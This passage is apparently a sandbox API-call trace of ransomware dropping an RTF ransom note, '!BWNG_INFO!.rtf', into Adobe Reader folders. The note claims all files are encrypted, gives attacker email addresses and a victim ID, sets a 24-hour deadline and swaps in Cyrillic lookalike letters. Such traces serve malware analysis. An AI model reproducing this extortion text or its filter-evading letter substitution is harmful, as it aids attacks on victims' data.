\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.559] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.561] CloseHandle (hObject=0x1cc) returned 1 [0040.561] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\!bwng_info!.rtf")) returned 0xffffffff [0040.561] GetLastError () returned 0x2 [0040.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 